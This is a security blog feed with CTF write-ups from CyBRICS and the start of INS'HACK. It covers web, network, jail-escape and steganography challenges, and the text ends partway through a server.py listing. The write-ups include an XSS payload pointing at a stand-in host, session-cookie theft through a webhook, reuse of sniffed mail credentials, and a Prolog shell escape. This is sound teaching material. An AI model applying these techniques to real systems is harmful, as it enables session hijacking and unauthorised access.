Jekyll2020-02-25T14:48:58+00:00/feed.xmlBoiteAKlou’s Infosec BlogComputer security oriented blog held by a french student in IT and Networks. This blog aims at teaching the fundamentals of Cyber Security to beginners through CTF write-ups and didactic articles.BoiteAKlouCyBRICS CTF Writeups2019-07-21T08:00:00+00:002019-07-21T08:00:00+00:00/CyBRICS-CTF-Writeups<p><img src="/assets/2019-07-21/ctf.png" alt="cyBRICS logo" title="cyBRICS logo" width="40%" /></p> <p><strong>Final rank:</strong> 112/775 with 7 challenges solved <!--excerpt--></p> <h2 class="no_toc" id="table-of-contents">Table of Contents</h2> <ul id="markdown-toc"> <li><a href="#web-warmup" id="markdown-toc-web-warmup">[Web] Warmup</a> <ul> <li><a href="#statement" id="markdown-toc-statement">Statement</a></li> <li><a href="#resolution" id="markdown-toc-resolution">Resolution</a></li> </ul> </li> <li><a href="#web-bitkoff-bank" id="markdown-toc-web-bitkoff-bank">[Web] Bitkoff Bank</a> <ul> <li><a href="#statement-1" id="markdown-toc-statement-1">Statement</a></li> <li><a href="#resolution-1" id="markdown-toc-resolution-1">Resolution</a></li> </ul> </li> <li><a href="#web-caesaref" id="markdown-toc-web-caesaref">[Web] Caesaref</a> <ul> <li><a href="#statement-2" id="markdown-toc-statement-2">Statement</a></li> <li><a href="#resolution-2" id="markdown-toc-resolution-2">Resolution</a></li> </ul> </li> <li><a href="#network-sender" id="markdown-toc-network-sender">[Network] Sender</a> <ul> <li><a href="#statement-3" id="markdown-toc-statement-3">Statement</a></li> <li><a href="#resolution-3" id="markdown-toc-resolution-3">Resolution</a></li> </ul> </li> <li><a href="#network-paranoid" id="markdown-toc-network-paranoid">[Network] Paranoid</a> <ul> <li><a href="#statement-4" id="markdown-toc-statement-4">Statement</a></li> <li><a href="#resolution-4" id="markdown-toc-resolution-4">Resolution</a></li> </ul> </li> <li><a href="#misc-proctf" id="markdown-toc-misc-proctf">[Misc] ProCTF</a> <ul> <li><a href="#statement-5" id="markdown-toc-statement-5">Statement</a></li> <li><a href="#resolution-5" id="markdown-toc-resolution-5">Resolution</a></li> </ul> </li> <li><a href="#stegano-honey-help" id="markdown-toc-stegano-honey-help">[Stegano] Honey, Help!</a> <ul> <li><a href="#statement-6" id="markdown-toc-statement-6">Statement</a></li> <li><a href="#resolution-6" id="markdown-toc-resolution-6">Resolution</a></li> </ul> </li> </ul> <h2 id="web-warmup">[Web] Warmup</h2> <h3 id="statement">Statement</h3> <blockquote> <p>Warmup (Web, Baby, 10 pts)</p> <p>Author: George Zaytsev (groke)</p> <p>E_TOO_EASY</p> <p>Just get the <a href="http://45.32.148.106/">flag</a></p> </blockquote> <h3 id="resolution">Resolution</h3> <p>When browsing to the link in the sentence, we were instantly redirected to <strong>/final.html</strong>, which displays a very long text but no flag.</p> <p>Using Burpsuite, we could intercept the redirection and grab the flag lcoated in <strong>/index.html</strong>.</p> <p><img src="/assets/2019-07-21/warmup-flag.png" alt="Warmup flag" title="Warmup flag" /></p> <p>Once base64-decoded, we could read the following flag: <code class="language-plaintext highlighter-rouge">cybrics{4b646c7985fec6189dadf8822955b034}</code>.</p> <h2 id="web-bitkoff-bank">[Web] Bitkoff Bank</h2> <h3 id="statement-1">Statement</h3> <blockquote> <p>Bitkoff Bank (Web, Easy, 50 pts)</p> <p>Author: Alexander Menshchikov (n0str)</p> <p>Need more money! Need the flag!</p> <p>http://45.77.201.191/index.php</p> <p>Mirror: http://95.179.148.72:8083/index.php</p> </blockquote> <h3 id="resolution-1">Resolution</h3> <p>I’m pretty sure I didn’t solve this challenge the intended way because my method was pretty dumb. Judge by yourself! :wink:</p> <p>After registering an account, you were greeted with the following php page:</p> <p><img src="/assets/2019-07-21/bitkoff-home.png" alt="Bitkoff home" title="Bitkoff home" /></p> <p>Everytime you clicked on “MINE BTC”, <code class="language-plaintext highlighter-rouge">0.0000000001</code> was added to your BTC counter. It was, then, possible to <strong>convert BTC to USD</strong> in order to <strong>buy the flag when you reached 1$</strong>.</p> <p>An auto-miner costed 0.01$ and would click for you every second… not so worth it.</p> <p>What I did is pretty simple: I’ve <strong>automated the mining request</strong> thanks to a python script and ran 6 instances of it in parallel until I got enough BTC to buy the flag. Absolutely nothing was optimized but I had a few other things to do so I’ve left the script run in background for approximately 2 hours and I could buy the flag!</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span><span class="p">,</span><span class="n">re</span> <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span><span class="s">'mine'</span><span class="p">:</span> <span class="s">'1'</span><span class="p">}</span> <span class="n">cook</span> <span class="o">=</span> <span class="p">{</span><span class="s">'name'</span> <span class="p">:</span> <span class="s">'boiteaklou'</span><span class="p">,</span> <span class="s">'password'</span> <span class="p">:</span> <span class="s">'boiteaklou'</span><span class="p">}</span> <span class="k">while</span> <span class="mi">1</span><span class="p">:</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s">'http://95.179.148.72:8083/index.php'</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span><span class="n">cookies</span><span class="o">=</span><span class="n">cook</span><span class="p">)</span> <span class="n">btc</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s">'Your BTC: &lt;b&gt;([^&lt;]*)&lt;/b&gt;'</span><span class="p">,</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">"BTC: </span><span class="si">%</span><span class="s">s"</span><span class="o">%</span><span class="n">btc</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> </code></pre></div></div> <p>Here is the cheapest bitcoin mining farm ever:</p> <p><img src="/assets/2019-07-21/bitkoff-farm.png" alt="Mining farm" title="Mining farm" /></p> <p>A minor difficulty consisted in the fact that we could not enter a value lower than 0.0001 in the change field because of some HTML client-side check. However, we could forge the request using Burpsuite and it worked like a charm.</p> <p><img src="/assets/2019-07-21/bitkoff-one_dollar.png" alt="Bitkoff 1 dollar" title="Bitkoff 1$" /></p> <p>And the flag:</p> <p><img src="/assets/2019-07-21/bitkoff-flag.png" alt="Bitkoff flag" title="Bitkoff flag" /></p> <p><code class="language-plaintext highlighter-rouge">flag: cybrics{50_57R4n93_pR3c1510n}</code></p> <h2 id="web-caesaref">[Web] Caesaref</h2> <h3 id="statement-2">Statement</h3> <blockquote> <p>Caesaref (Web, Hard, 50 pts)</p> <p>Author: Alexander Menshchikov (n0str)</p> <p>There is an additional one: Fixaref</p> <p>This web resource is highly optimized:</p> <p>http://45.77.218.242/</p> </blockquote> <h3 id="resolution-2">Resolution</h3> <p>After register a new account, we were greeted with the following web page where we could ask questions to the support:</p> <p><img src="/assets/2019-07-21/caesaref-home.png" alt="Caesaref home" title="Caesaref home" /></p> <p>At first, I lost a lot of time trying to redirect the support guy to my website via XSS payloads like <code class="language-plaintext highlighter-rouge">&lt;img src="http://mywebsite" /&gt;</code>.</p> <p>Actually, it was not necessary. We only had to paste an HTTP link in the text box and a bot would visit it instantly.</p> <p>Using this information, we could <strong>paste the link to a webhook instance</strong> and surprisingly find the <strong>PHPSESSID cookie of the bot</strong> sent with the request.</p> <p><img src="/assets/2019-07-21/caesaref-request.png" alt="Caesaref request" title="Caesaref request" /></p> <p>Then, we could replace our own PHPSESSID cookie by the retrieved one and refresh the page in order to access the bot account. Once connected, a new button was here to give us the flag.</p> <p><code class="language-plaintext highlighter-rouge">Flag: cybrics{k4Ch3_C4N_83_vuln3R48l3}</code></p> <h2 id="network-sender">[Network] Sender</h2> <h3 id="statement-3">Statement</h3> <blockquote> <p>Sender (Network, Baby, 10 pts)</p> <p>Author: Vlad Roskov (vos)</p> <p>We’ve intercepted this text off the wire of some conspirator, but we have no idea what to do with that.</p> <p><a href="/assets/2019-07-21/intercepted_text.txt">intercepted_text.txt</a></p> </blockquote> <blockquote> <p>Get us their secret documents</p> </blockquote> <h3 id="resolution-3">Resolution</h3> <p>The given text file shows a SMTP trace from which we could extract some credentials as well as the password of an archive.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>220 ugm.cybrics.net ESMTP Postfix (Ubuntu) EHLO localhost 250-ugm.cybrics.net 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN AUTH LOGIN 334 VXNlcm5hbWU6 ZmF3a2Vz 334 UGFzc3dvcmQ6 # Username Q29tYmluNHQxb25YWFk= # Password 235 2.7.0 Authentication successful MAIL FROM: &lt;[email protected]&gt; 250 2.1.0 Ok RCPT TO: &lt;[email protected]&gt; 250 2.1.5 Ok DATA 354 End data with &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt; From: fawkes &lt;[email protected]&gt; To: Area51 &lt;[email protected]&gt; Subject: add - archive pw Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 =62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63= =68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74= =6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A . 250 2.0.0 Ok: queued as C4D593E8B6 QUIT 221 2.0.0 Bye </code></pre></div></div> <p>Base64-decoded credentials: <code class="language-plaintext highlighter-rouge">fawkes / Combin4t1onXXY</code></p> <p>Mail content (quoted-printable decoded):</p> <blockquote> <p>btw.</p> <p>password for the archive with flag: crack0Weston88vertebra</p> <p>cheers!</p> </blockquote> <p>A NMAP scan showed us that the pop3 port (tcp 110) was open so we could connect to it and authentify ourselves using the retrieved credentials.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>telnet ugm.cybrics.net 110 Trying 136.244.67.129... Connected to ugm.cybrics.net. Escape character is <span class="s1">'^]'</span><span class="nb">.</span> +OK Dovecot ready. USER fawkes +OK PASS Combin4t1onXXY +OK Logged <span class="k">in</span><span class="nb">.</span> LIST +OK 1 messages: 1 138808 <span class="nb">.</span> +OK 138808 octets Return-Path: &lt;[email protected]&gt; X-Original-To: [email protected] Delivered-To: [email protected] Received: by sender <span class="o">(</span>Postfix, from userid 1000<span class="o">)</span> <span class="nb">id </span>B83843EBFF<span class="p">;</span> Thu, 18 Jul 2019 16:41:23 +0000 <span class="o">(</span>UTC<span class="o">)</span> Date: Thu, 18 Jul 2019 16:41:23 +0000 From: fawkes &lt;[email protected]&gt; To: Area51 &lt;[email protected]&gt;, fawkes &lt;[email protected]&gt; Subject: interesting archive Message-ID: &lt;[email protected]&gt; MIME-Version: 1.0 Content-Type: multipart/mixed<span class="p">;</span> <span class="nv">boundary</span><span class="o">=</span><span class="s2">"J2SCkAp4GZ/dPZZf"</span> Content-Disposition: inline User-Agent: Mutt/1.5.24 <span class="o">(</span>2015-08-30<span class="o">)</span> <span class="nt">--J2SCkAp4GZ</span>/dPZZf Content-Type: text/plain<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>us-ascii Content-Disposition: inline take a look. dont share. secret. <span class="nt">--J2SCkAp4GZ</span>/dPZZf Content-Type: application/zip Content-Disposition: attachment<span class="p">;</span> <span class="nv">filename</span><span class="o">=</span><span class="s2">"secret_flag.zip"</span> Content-Transfer-Encoding: <span class="nb">base64 </span>UEsDBBQACQBjAMua8k6A+vIXUogBAA+iAQAPAAsAc2VjcmV0X2ZsYWcucGRmAZkHAAEAQUUD CAC1GtwFWQRy7mwXUpknBhOJ3hpnDv1ei1Kf+knOhoW61yeyPdnML4vSrff+GUxQYCGKz6SB <span class="o">[</span>...] AAAAAHNlY3JldF9mbGFnLnBkZgoAIAAAAAAAAQAYAGA6RPuEPdUBoKjPA4U91QGgqM8DhT3V <span class="nv">AQGZBwABAEFFAwgAUEsFBgAAAAABAAEAbAAAAJqIAQAAAA</span><span class="o">==</span> <span class="nt">--J2SCkAp4GZ</span>/dPZZf-- </code></pre></div></div> <p>Then, we could extract the content of the retrieved archive using the previously found password: <code class="language-plaintext highlighter-rouge">7z e -pcrack0Weston88vertebra archive.zip</code></p> <p>And we could finally read the flag inside the extracted PDF: <code class="language-plaintext highlighter-rouge">cybrics{Y0uV3_G0T_m41L}</code>.</p> <h2 id="network-paranoid">[Network] Paranoid</h2> <h3 id="statement-4">Statement</h3> <blockquote> <p>Paranoid (Network, Easy, 113 pts)</p> <p>Author: Vlad Roskov (vos)</p> <p>Added at 14:40 UTC: to save some guessing, flag is the current password. Flag format is still cybrics{…}, so you’ll know when you find it.</p> <p>My neighbors are always very careful about their security. For example they’ve just bought a new home Wi-Fi router, and instead of just leaving it open, they instantly are setting passwords!</p> <p>Don’t they trust me? I feel offended.</p> <p><a href="/assets/2019-07-21/paranoid.zip">paranoid.zip</a></p> <p>Can you give me their current router admin pw?</p> </blockquote> <h3 id="resolution-4">Resolution</h3> <p>The zip archive contained a pcap that I opened in Wireshark. Since the capture was quite big, I used <strong>Statistics &gt; Protocol Hierarchy</strong> in order to get the big picture.</p> <p>The packet capture was composed of <strong>802.11 traffic</strong> and thanks to the protocol hierarchy, I could spot some <strong>HTTP requests</strong>.</p> <p>As the statement was mentioning a password change, I decided to examine <strong>HTTP POST requests</strong> only thanks to the wireshark filter: <code class="language-plaintext highlighter-rouge">http.request.method == "POST"</code>.</p> <p>Inside the payload of HTTP POST request n°19173, we could find <code class="language-plaintext highlighter-rouge">WLAN_AP_WEP_KEY1=Xi1nvy5KGSgI2&amp;</code>. Then, I added this wep key to <strong>wireshark decryption keys</strong> and it allowed us to find more HTTP requests.</p> <p>Still filtering HTTP POST requests, I found a new password change request with this payload: <code class="language-plaintext highlighter-rouge">WLAN_AP_WPA_PSK=2_RGR_xO-uiJFiAxdA33-PsdanuK&amp;</code> that I immediately set as <strong>WPA decryption key</strong>.</p> <p>Once again, we had access to more decrypted HTTP traffic inside which the flag was located.</p> <p><img src="/assets/2019-07-21/paranoid-flag.png" alt="Paranoid flag" title="Paranoid flag" /></p> <p>Flag: <code class="language-plaintext highlighter-rouge">cybrics{n0_w4Y_7o_h1d3_fR0m_Y0_n316hb0R}</code></p> <h2 id="misc-proctf">[Misc] ProCTF</h2> <h3 id="statement-5">Statement</h3> <blockquote> <p>ProCTF (CTB, Baby, 10 pts)</p> <p>Author: Vlad Roskov (vos)</p> <p>We Provide you a Login for your scientific researches. Don’t try to find the flag.</p> <p>ssh [email protected] Password: iamthepr0</p> </blockquote> <h3 id="resolution-5">Resolution</h3> <p>After connecting to the machine via SSH, we were trapped inside <strong>a SWI-Prolog interactive interpreter</strong>. We could verify this assumption by pressing TAB twice, which would display the list of available functions.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh [email protected] [email protected]<span class="se">\'</span>s password: Welcome to Ubuntu 19.04 <span class="o">(</span>GNU/Linux 5.0.0-15-generic x86_64<span class="o">)</span> <span class="k">*</span> Documentation: https://help.ubuntu.com <span class="k">*</span> Management: https://landscape.canonical.com <span class="k">*</span> Support: https://ubuntu.com/advantage System information as of Sat Jul 20 12:28:39 UTC 2019 System load: 4.15 Usage of /: 2.4% of 220.08GB Memory usage: 10% Swap usage: 0% Processes: 508 Users logged <span class="k">in</span>: 3 IP address <span class="k">for </span>enp1s0: 95.179.148.72 IP address <span class="k">for </span>docker0: 172.17.0.1 IP address <span class="k">for </span>br-62bc0c6d2f97: 172.19.0.1 84 updates can be installed immediately. 48 of these updates are security updates. WARNING: Your kernel does not support swap limit capabilities or the cgroup is not mounted. Memory limited without swap. ?- abort built_in_procedure current_output erf abs busy <span class="nb">cut </span>erfc access byte cut_call error access_level c_stack cut_exit <span class="nb">eval </span>acos call cut_parent evaluable acosh call_continuation cycle evaluation_error active callable cycles event_hook acyclic_term canceled cyclic_term exception add_import case_insensitive <span class="nb">date </span>exclusive address case_preserving db_reference execute ... skipped 54 rows </code></pre></div></div> <p>After some googling, I found an easy way to get a shell and to display the flag:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>?- shell<span class="o">(</span><span class="s1">'sh'</span><span class="o">)</span><span class="nb">.</span> <span class="err">$</span> <span class="nv">$ </span><span class="nb">cd</span> /home <span class="nv">$ </span><span class="nb">ls </span>user <span class="nv">$ </span><span class="nb">cd </span>user <span class="nv">$ </span><span class="nb">ls </span>flag.txt <span class="nv">$ </span><span class="nb">cat </span>flag.txt cybrics<span class="o">{</span>feeling_like_a_PRO?_that_sounds_LOGical_to_me!____g3t_it?_G37_1T?!?!_ok_N3v3Rm1nd...<span class="o">}</span> </code></pre></div></div> <p>Flag: <code class="language-plaintext highlighter-rouge">cybrics{feeling_like_a_PRO?_that_sounds_LOGical_to_me!____g3t_it?_G37_1T?!?!_ok_N3v3Rm1nd...}</code></p> <h2 id="stegano-honey-help">[Stegano] Honey, Help!</h2> <h3 id="statement-6">Statement</h3> <blockquote> <p>Honey, Help! (rebyC, Baby, 10 pts)</p> <p>Author: Vlad Roskov (vos)</p> <p>Added at 10:50 UTC: there was a typo in the flag. Please re-submit.</p> <p>HONEY HELP!!!</p> <p>I was working in my Kali MATE, pressed something, AND EVERYTHING DISAPPEARED!</p> </blockquote> <p><img src="/assets/2019-07-21/honey_help.png" alt="honeyHELP" title="honey help" /></p> <h3 id="resolution-6">Resolution</h3> <p>This challenge was very easy but a bit painful for my eyes because I solved it late in the night.</p> <p>The idea is to <strong>compare the clear and the encoded output</strong> in order to <strong>establish a match for each character</strong>.</p> <p>Using this technique and a tiny bit of guessing (because it’s stega), I could build the following matching table and reconstruct the flag.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>240C : c &lt; : y 2409 : b 23BC : r 240B : i 23BD : s Pi : { 2424 : h half-T : l 23BB : p Cross : n low T : w |- : t Pound : } grey square : a </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}</code></p> <p>The CTF was pretty fun, thanks CyBRICS for the event!</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouFinal rank: 112/775 with 7 challenges solvedINS’HACK CTF Writeups2019-05-08T08:00:00+00:002019-05-08T08:00:00+00:00/INSHACK-CTF-Writeups<p><img src="/assets/2019-05-08/inshack-logo.png" alt="INSHACK logo" title="INSHACK logo" width="40%" /></p> <!--excerpt--> <h2 class="no_toc" id="table-of-contents">Table of Contents</h2> <ul id="markdown-toc"> <li><a href="#web-exploring-the-universe" id="markdown-toc-web-exploring-the-universe">[Web] Exploring the universe</a> <ul> <li><a href="#statement" id="markdown-toc-statement">Statement</a></li> <li><a href="#resolution" id="markdown-toc-resolution">Resolution</a></li> </ul> </li> <li><a href="#web-almost-tchap" id="markdown-toc-web-almost-tchap">[Web] Almost Tchap</a> <ul> <li><a href="#statement-1" id="markdown-toc-statement-1">Statement</a></li> <li><a href="#resolution-1" id="markdown-toc-resolution-1">Resolution</a></li> </ul> </li> <li><a href="#programming-hackcode-0102" id="markdown-toc-programming-hackcode-0102">[Programming] HackCode-01/02</a> <ul> <li><a href="#statement-2" id="markdown-toc-statement-2">Statement</a> <ul> <li><a href="#example" id="markdown-toc-example">Example</a></li> </ul> </li> <li><a href="#strategy" id="markdown-toc-strategy">Strategy</a></li> <li><a href="#part-01" id="markdown-toc-part-01">Part 01</a></li> <li><a href="#part-02" id="markdown-toc-part-02">Part 02</a></li> </ul> </li> <li><a href="#reverse-dashlame" id="markdown-toc-reverse-dashlame">[Reverse] Dashlame</a> <ul> <li><a href="#statement-3" id="markdown-toc-statement-3">Statement</a></li> <li><a href="#uncompyle" id="markdown-toc-uncompyle">Uncompyle</a></li> <li><a href="#understanding-the-script" id="markdown-toc-understanding-the-script">Understanding the script</a></li> <li><a href="#resolution-2" id="markdown-toc-resolution-2">Resolution</a></li> <li><a href="#alternative-way-using-decrypt_archive" id="markdown-toc-alternative-way-using-decrypt_archive">Alternative way using decrypt_archive()</a></li> </ul> </li> <li><a href="#pwn-intergover" id="markdown-toc-pwn-intergover">[Pwn] Intergover</a> <ul> <li><a href="#statement-4" id="markdown-toc-statement-4">Statement</a></li> <li><a href="#spotting-the-vulnerabilty" id="markdown-toc-spotting-the-vulnerabilty">Spotting the vulnerabilty</a></li> </ul> </li> <li><a href="#pwn-signed-or-unsigned" id="markdown-toc-pwn-signed-or-unsigned">[Pwn] Signed or unsigned</a> <ul> <li><a href="#statement-5" id="markdown-toc-statement-5">Statement</a></li> <li><a href="#spotting-the-vulnerability" id="markdown-toc-spotting-the-vulnerability">Spotting the vulnerability</a></li> </ul> </li> </ul> <h2 id="web-exploring-the-universe">[Web] Exploring the universe</h2> <h3 id="statement">Statement</h3> <blockquote> <p>Will you be able to find the <code class="language-plaintext highlighter-rouge">flag</code> in the <code class="language-plaintext highlighter-rouge">universe/</code> ?</p> <p>I’ve been told that the guy who wrote this nice application called server.py is a huge fan of nano (yeah… he knows vim is better).</p> <p>http://exploring-the-universe.ctf.insecurity-insa.fr/</p> </blockquote> <p>Here is a screen capture of the website in question:</p> <p><img src="/assets/2019-05-08/exploringtheuniverse.png" alt="Exploring the universe" title="Exploring the universe" /></p> <p>The page was quite empty apart from this funny JS game named “JSLander” where you had to land a rocket by controlling its speed and trajectory. Unfortunately, a successful landing gave no flag.</p> <h3 id="resolution">Resolution</h3> <p>A huge hint was given by the challenge statement about a file named <code class="language-plaintext highlighter-rouge">server.py</code> which would be edited by <code class="language-plaintext highlighter-rouge">nano</code>. After a few guesses, we managed to retrieve the file <code class="language-plaintext highlighter-rouge">.server.py.swp</code> automatically created by <code class="language-plaintext highlighter-rouge">nano</code> when the original file is being edited.</p> <p>server.py:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span> <span class="kn">from</span> <span class="nn">mimetypes</span> <span class="kn">import</span> <span class="n">guess_type</span> <span class="kn">from</span> <span class="nn">aiohttp</span> <span class="kn">import</span> <span class="n">web</span> <span class="n">ROOT</span> <span class="o">=</span> <span class="n">Path</span><span class="p">()</span><span class="o">.</span><span class="n">resolve</span><span class="p">()</span> <span class="k">print</span><span class="p">(</span><span class="n">ROOT</span><span class="p">)</span> <span class="n">PUBLIC</span> <span class="o">=</span> <span class="n">ROOT</span><span class="o">.</span><span class="n">joinpath</span><span class="p">(</span><span class="s">'public'</span><span class="p">)</span> <span class="k">async</span> <span class="k">def</span> <span class="nf">stream_file</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">filepath</span><span class="p">):</span> <span class="s">'''Streams a regular file '''</span> <span class="n">filepath</span> <span class="o">=</span> <span class="n">PUBLIC</span><span class="o">.</span><span class="n">joinpath</span><span class="p">(</span><span class="n">filepath</span><span class="p">)</span><span class="o">.</span><span class="n">resolve</span><span class="p">()</span> <span class="k">if</span> <span class="n">filepath</span><span class="o">.</span><span class="n">is_dir</span><span class="p">():</span> <span class="k">return</span> <span class="n">web</span><span class="o">.</span><span class="n">Response</span><span class="p">(</span><span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">'DT'</span><span class="p">:</span> <span class="s">'DT_DIR'</span><span class="p">})</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">filepath</span><span class="o">.</span><span class="n">is_file</span><span class="p">():</span> <span class="k">raise</span> <span class="n">web</span><span class="o">.</span><span class="n">HTTPNotFound</span><span class="p">(</span><span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">'DT'</span><span class="p">:</span> <span class="s">'DT_UNKNOWN'</span><span class="p">})</span> <span class="k">try</span><span class="p">:</span> <span class="n">filepath</span><span class="o">.</span><span class="n">relative_to</span><span class="p">(</span><span class="n">ROOT</span><span class="p">)</span> <span class="k">except</span><span class="p">:</span> <span class="k">raise</span> <span class="n">web</span><span class="o">.</span><span class="n">HTTPForbidden</span><span class="p">(</span><span class="n">reason</span><span class="o">=</span><span class="s">"You can't go beyond the universe..."</span><span class="p">)</span> <span class="n">mime</span><span class="p">,</span> <span class="n">encoding</span> <span class="o">=</span> <span class="n">guess_type</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">filepath</span><span class="p">))</span> <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'DT'</span><span class="p">:</span> <span class="s">'DT_REG'</span><span class="p">,</span> <span class="s">'Content-Type'</span><span class="p">:</span> <span class="n">mime</span> <span class="ow">or</span> <span class="s">'application/octet-stream'</span><span class="p">,</span> <span class="s">'Content-Length'</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">filepath</span><span class="o">.</span><span class="n">stat</span><span class="p">()</span><span class="o">.</span><span class="n">st_size</span><span class="p">)</span> <span class="p">}</span> <span class="k">if</span> <span class="n">encoding</span><span class="p">:</span> <span class="n">headers</span><span class="p">[</span><span class="s">'Content-Encoding'</span><span class="p">]</span> <span class="o">=</span> <span class="n">encoding</span> <span class="n">resp</span> <span class="o">=</span> <span class="n">web</span><span class="o">.</span><span class="n">StreamResponse</span><span class="p">(</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span> <span class="k">await</span> <span class="n">resp</span><span class="o">.</span><span class="n">prepare</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="k">with</span> <span class="n">filepath</span><span class="o">.</span><span class="nb">open</span><span class="p">(</span><span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">resource</span><span class="p">:</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">data</span> <span class="o">=</span> <span class="n">resource</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span> <span class="k">break</span> <span class="k">await</span> <span class="n">resp</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="k">return</span> <span class="n">resp</span> <span class="k">async</span> <span class="k">def</span> <span class="nf">handle_403</span><span class="p">(</span><span class="n">request</span><span class="p">):</span> <span class="s">'''Stream 403 HTML file '''</span> <span class="k">return</span> <span class="k">await</span> <span class="n">stream_file</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="s">'403.html'</span><span class="p">)</span> <span class="k">async</span> <span class="k">def</span> <span class="nf">handle_404</span><span class="p">(</span><span class="n">request</span><span class="p">):</span> <span class="s">'''Stream 404 HTML file '''</span> <span class="k">return</span> <span class="k">await</span> <span class="n">stream_file</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="s">'404.html'</span><span class="p">)</span> <span class="k">def</span> <span class="nf">create_error_middleware</span><span class="p">(</span><span class="n">overrides</span><span class="p">):</span> <span class="s">'''Create an error middleware for aiohttp '''</span> <span class="o">@</span><span class="n">web</span><span class="o">.</span><span class="n">middleware</span> <span class="k">async</span> <span class="k">def</span> <span class="nf">error_middleware</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">handler</span><span class="p">):</span> <span class="s">'''Handles specific web exceptions based on overrides '''</span> <span class="k">try</span><span class="p">:</span> <span class="n">response</span> <span class="o">=</span> <span class="k">await</span> <span class="n">handler</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="n">override</span> <span class="o">=</span> <span class="n">overrides</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">status</span><span class="p">)</span> <span class="k">if</span> <span class="n">override</span><span class="p">:</span> <span class="k">return</span> <span class="k">await</span> <span class="n">override</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="k">return</span> <span class="n">response</span> <span class="k">except</span> <span class="n">web</span><span class="o">.</span><span class="n">HTTPException</span> <span class="k">as</span> <span class="n">ex</span><span class="p">:</span> <span class="n">override</span> <span class="o">=</span> <span class="n">overrides</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">ex</span><span class="o">.</span><span class="n">status</span><span class="p">)</span> <span class="k">if</span> <span class="n">override</span><span class="p">:</span> <span class="k">return</span> <span class="k">await</span> <span class="n">override</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="k">raise</span> <span class="k">return</span> <span class="n">error_middleware</span> <span class="k">def</span> <span class="nf">setup_error_middlewares</span><span class="p">(</span><span class="n">app</span><span class="p">):</span> <span class="s">'''Setup error middleware on given application '''</span> <span class="n">error_middleware</span> <span class="o">=</span> <span class="n">create_error_middleware</span><span class="p">({</span> <span class="mi">403</span><span class="p">:</span> <span class="n">handle_403</span><span class="p">,</span> <span class="mi">404</span><span class="p">:</span> <span class="n">handle_404</span> <span class="p">})</span> <span class="n">app</span><span class="o">.</span><span class="n">middlewares</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">error_middleware</span><span class="p">)</span> <span class="k">async</span> <span class="k">def</span> <span class="nf">root</span><span class="p">(</span><span class="n">request</span><span class="p">):</span> <span class="s">'''Web server root handler '''</span> <span class="n">path</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">match_info</span><span class="p">[</span><span class="s">'path'</span><span class="p">]</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">path</span><span class="p">:</span> <span class="n">path</span> <span class="o">=</span> <span class="s">'index.html'</span> <span class="n">path</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s">"client requested: {path}"</span><span class="p">)</span> <span class="k">return</span> <span 